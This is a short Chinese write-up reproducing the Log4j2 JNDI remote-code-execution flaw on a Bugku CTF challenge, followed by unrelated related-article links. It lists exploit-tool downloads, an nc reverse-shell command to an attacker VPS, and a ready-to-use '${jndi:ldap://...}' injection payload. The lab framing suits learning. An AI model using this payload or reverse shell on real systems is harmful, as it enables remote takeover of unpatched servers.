Log4j2_RCE漏洞复现

简介: Log4j2_RCE漏洞复现

Log4j2_RCE漏洞复现

漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

复现过程

本文复现地址

https://ctf.bugku.com/challenges/detail/id/340.html

使用工具

https://gitee.com/bjmlw2021/JNDIExploit/tree/master

https://zhiji.lanzoul.com/iwGopxrn27c
密码:8r02

将利用工具上传至自己的公网vps

开启ldap和http服务监听

java -jar JNDIExploit-master.jar -i 自己公网vps的ip

另开终端,nc开启监听

base64加密反弹shell命令

nc 公网vps的ip 12345 -e /bin/sh

进行jndi注入攻击

${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令]}

在关卡页面,输入payload,密码随意。

成功反弹shell

目录
相关文章
|
设计模式 缓存
二十三种设计模式全面解析-代理模式(Proxy Pattern)详解:探索隐藏于背后的力量
二十三种设计模式全面解析-代理模式(Proxy Pattern)详解:探索隐藏于背后的力量
775 1
|
编译器 Linux C语言
C++基础语法(命名空间,缺省,重载)
C++基础语法(命名空间,缺省,重载)
177 0
|
存储 Oracle 关系型数据库
Oracle数据库快速入门
Oracle数据库快速入门
256 0
|
监控 测试技术
软件测试中的风险管理:如何避免潜在缺陷
【8月更文挑战第5天】在软件开发的生命周期中,测试阶段扮演着至关重要的角色。本文将深入探讨软件测试中的风险管理,包括风险识别、评估和缓解策略。我们将通过具体案例分析,揭示如何在早期阶段预防和减少潜在的软件缺陷,以及如何通过有效的测试计划和执行来保障产品质量。文章旨在为读者提供一套系统的风险管理框架,帮助他们在软件开发过程中识别和应对各种测试风险。
454 3
|
开发框架 测试技术 持续交付
小团队逆袭之旅
小团队逆袭之旅
89 1
|
安全 小程序 Java
基于Java考研助手网站设计和实现(源码+LW+调试文档+讲解等)
基于Java考研助手网站设计和实现(源码+LW+调试文档+讲解等)
|
SQL 安全 算法
BugKu CTF(Crypto):Caesar cipher & 抄错的字符 & /.- & 聪明的小羊 & ok
BugKu CTF(Crypto):Caesar cipher & 抄错的字符 & /.- & 聪明的小羊 & ok
|
图形学
【用unity实现100个游戏之15】开发一个类保卫萝卜的Unity2D塔防游戏3(附项目源码)
【用unity实现100个游戏之15】开发一个类保卫萝卜的Unity2D塔防游戏3(附项目源码)
581 0
|
存储 区块链
区块链技术在版权保护与数字内容分发中的创新
区块链技术在版权保护与数字内容分发中的创新
|
Web App开发 存储 JavaScript
如何避免闭包函数的内存泄漏
如何避免闭包函数的内存泄漏
150 0